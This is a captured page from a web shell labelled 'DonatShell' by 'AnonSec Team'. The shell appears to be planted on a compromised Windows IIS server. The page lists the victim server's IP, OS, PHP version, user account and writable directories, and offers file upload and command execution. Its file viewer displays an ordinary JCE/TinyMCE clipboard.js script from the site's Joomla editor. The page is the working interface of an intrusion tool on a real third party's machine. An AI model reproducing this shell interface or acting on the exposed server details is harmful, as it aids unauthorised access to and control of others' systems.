DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/news/components/com_jce/editor/tiny_mce/plugins/clipboard/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/news/components/com_jce/editor/tiny_mce/plugins/clipboard/js/clipboard.js
/* JCE Editor - 2.3.3.2 | 13 July 2013 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2013 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
var ClipboardDialog={settings:{},init:function(){var self=this,ed=tinyMCEPopup.editor,el=document.getElementById('container'),title=document.getElementById('title'),ifr,doc,css,cssHTML='';$.Plugin.init();$('#insert').click(function(e){self.insert();e.preventDefault;});$('#cancel').click(function(e){tinyMCEPopup.close();e.preventDefault;});var cmd=tinyMCEPopup.getWindowArg('cmd');var msg=ed.getLang('paste_dlg.title','Use %s+V on your keyboard to paste text into the window.');title.innerHTML=msg.replace(/%s/g,tinymce.isMac?'CMD':'CTRL');if(cmd=='mcePaste'){document.title=ed.getLang('paste.paste_desc');el.innerHTML='<iframe id="content" src="javascript:\'\';" frameBorder="0" style="border: 1px solid gray"></iframe>';ifr=document.getElementById('content');doc=ifr.contentWindow.document;css=tinymce.explode(ed.settings.content_css)||[];css.push(ed.baseURI.toAbsolute("themes/"+ed.settings.theme+"/skins/"+ed.settings.skin+"/content.css"));css.push(ed.baseURI.toAbsolute("plugins/clipboard/css/blank.css"));tinymce.each(css,function(u){cssHTML+='<link href="'+ed.documentBaseURI.toAbsolute(''+u)+'" rel="stylesheet" type="text/css" />';});doc.open();doc.write('<html><head><base href="'+ed.settings.base_url+'" />'+cssHTML+'</head><body class="mceContentBody" spellcheck="false"></body></html>');doc.close();doc.designMode='on';window.setTimeout(function(){ifr.contentWindow.focus();},10);}else{document.title=ed.getLang('paste.paste_text_desc');el.innerHTML='<textarea id="content" name="content" rows="15" cols="100" dir="ltr" wrap="soft" class="mceFocus"></textarea>';}
this.resize();},insert:function(){var h,wc,c=document.getElementById('content');tinyMCEPopup.restoreSelection();if(c.nodeName=='TEXTAREA'){h=c.value;lines=h.split(/\r?\n/);if(lines.length>1){h='';tinymce.each(lines,function(row){if(tinyMCEPopup.editor.getParam('force_p_newlines')){h+='<p>'+row+'</p>';}
else{h+=row+'<br />';}});}
wc=false;}else{h=c.contentWindow.document.body.innerHTML;wc=true;}
tinyMCEPopup.editor.execCommand('mceInsertClipboardContent',false,{content:h,wordContent:wc});tinyMCEPopup.close();},resize:function(){var vp=tinyMCEPopup.dom.getViewPort(window),el;el=document.getElementById('content');if(el){el.style.width=(vp.w-20)+'px';el.style.height=(vp.h-90)+'px';}}};tinyMCEPopup.onInit.add(ClipboardDialog.init,ClipboardDialog);

Anon7 - 2022
AnonSec Team